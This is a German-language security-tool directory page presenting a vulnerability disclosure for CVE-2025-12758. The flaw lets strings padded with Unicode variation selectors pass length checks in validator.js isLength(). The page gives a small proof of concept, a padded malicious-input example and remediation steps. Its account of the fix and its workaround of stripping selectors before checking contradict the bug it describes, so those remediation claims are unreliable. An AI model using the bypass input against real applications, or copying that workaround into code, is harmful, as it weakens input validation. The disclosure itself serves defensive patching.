Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-12758 — Detaillierte Offenlegung von CVE-2025-12758 mit PoC, die eine Umgehung des Unicode-Variationsselektors in validator.js isLength() demonstriert, einschließlich Ursachenanalyse, Ausnutzungsszenarien und Abhilfemaßnahmen. | Kitploit
Tools/GitHubGitHub/open-flaw/cve-2025-12758
SchwachstellenanalyseCode-AnalyseWebsicherheitPapers & ForschungLernen & Bildung
GitHubopen-flaw/cve-2025-12758

CVE-2025-12758

Detaillierte Offenlegung von CVE-2025-12758 mit PoC, die eine Umgehung des Unicode-Variationsselektors in validator.js isLength() demonstriert, einschließlich Ursachenanalyse, Ausnutzungsszenarien und Abhilfemaßnahmen.

Repository anzeigen
vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-12758: Umgehung der isLength()-Funktion von Validator.js durch Unicode-Variationsselektoren

CVE-ID: CVE-2025-12758
CVSS-Score: 8,7 (HOCH)
Schweregrad: HOCH
CWE: CWE-792 (Unvollständige Filterung einer oder mehrerer Instanzen spezieller Elemente)
Veröffentlicht: 26. November 2025
Offengelegt: 19. Oktober 2025

Überblick über die Schwachstelle

Diese Schwachstelle betrifft das validator npm-Paket in Versionen < 13.15.22. Die Funktion isLength() berücksichtigt bei der Berechnung der Zeichenkettenlänge Unicode-Variationsselektoren (\uFE0F, \uFE0E) nicht, was zu einer fehlerhaften Eingabevalidierung führt.

Auswirkung

Eine Anwendung, die isLength() zur Eingabevalidierung verwendet, kann Zeichenketten akzeptieren, die erheblich länger als beabsichtigt sind, was möglicherweise zu Folgendem führen kann:

  • Datenabschneidung in Datenbanken
  • Pufferüberläufe in anderen Systemkomponenten
  • Denial-of-Service (DoS)-Angriffe
  • Umgehung der Eingabevalidierung

Grundursache

Die Funktion isLength() filtert Unicode-Variationsselektoren bei der Berechnung der Zeichenkettenlänge nicht ordnungsgemäß heraus. Diese Sonderzeichen (Kombinationszeichen) sollten nicht zur sichtbaren Länge einer Zeichenkette beitragen, werden jedoch in der JavaScript-Eigenschaft String.length mitgezählt.

Proof of Concept

Einrichtung

root@kitploit:~
npm install [email protected]
node poc.js

Code

Der POC demonstriert die Schwachstelle durch Testen der isLength()-Funktion:

root@kitploit:~
const validator = require('validator');

// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false

// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true

// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!

Ausgabe

root@kitploit:~
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

Die dritte Ausgabe zeigt die Schwachstelle: Eine Zeichenkette mit einer tatsächlichen Länge von 8 besteht eine Validierungsprüfung für eine maximale Länge von 4.

Angriffsszenario

Eine Anwendung könnte eine Benutzerkommentarvalidierung implementieren:

root@kitploit:~
const MAX_COMMENT_LENGTH = 100;

function validateComment(comment) {
  return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}

const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️

Problembehebung

Aktualisieren auf Version 13.15.22 oder höher

root@kitploit:~
npm install [email protected]

Die gepatchte Version behandelt Unicode-Variationsselektoren ordnungsgemäß, indem sie von der Längenberechnung ausgeschlossen werden.

Alternative Abhilfe (vorübergehend)

Wenn Sie nicht sofort aktualisieren können, implementieren Sie eine benutzerdefinierte Längenvalidierung:

root@kitploit:~
function safeIsLength(str, options = {}) {
  // Remove Unicode variation selectors before validation
  const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
  return validator.isLength(cleanStr, options);
}

Referenzen

  • Snyk Vulnerability Database: https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476
  • GitHub Gist (Original Proof): https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e
  • GitHub PR (Fix): https://github.com/validatorjs/validator.js/pull/2616
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2025-12758

Erkennung

Überprüfen Sie, ob Ihre Anwendung anfällig ist:

root@kitploit:~
npm audit --audit-level=high

Achten Sie auf das validator-Paket mit einer Version < 13.15.22.

Autoren

Schwachstelle entdeckt von: Karol Wrótniak

Lizenz

ISC

Tool herunterladen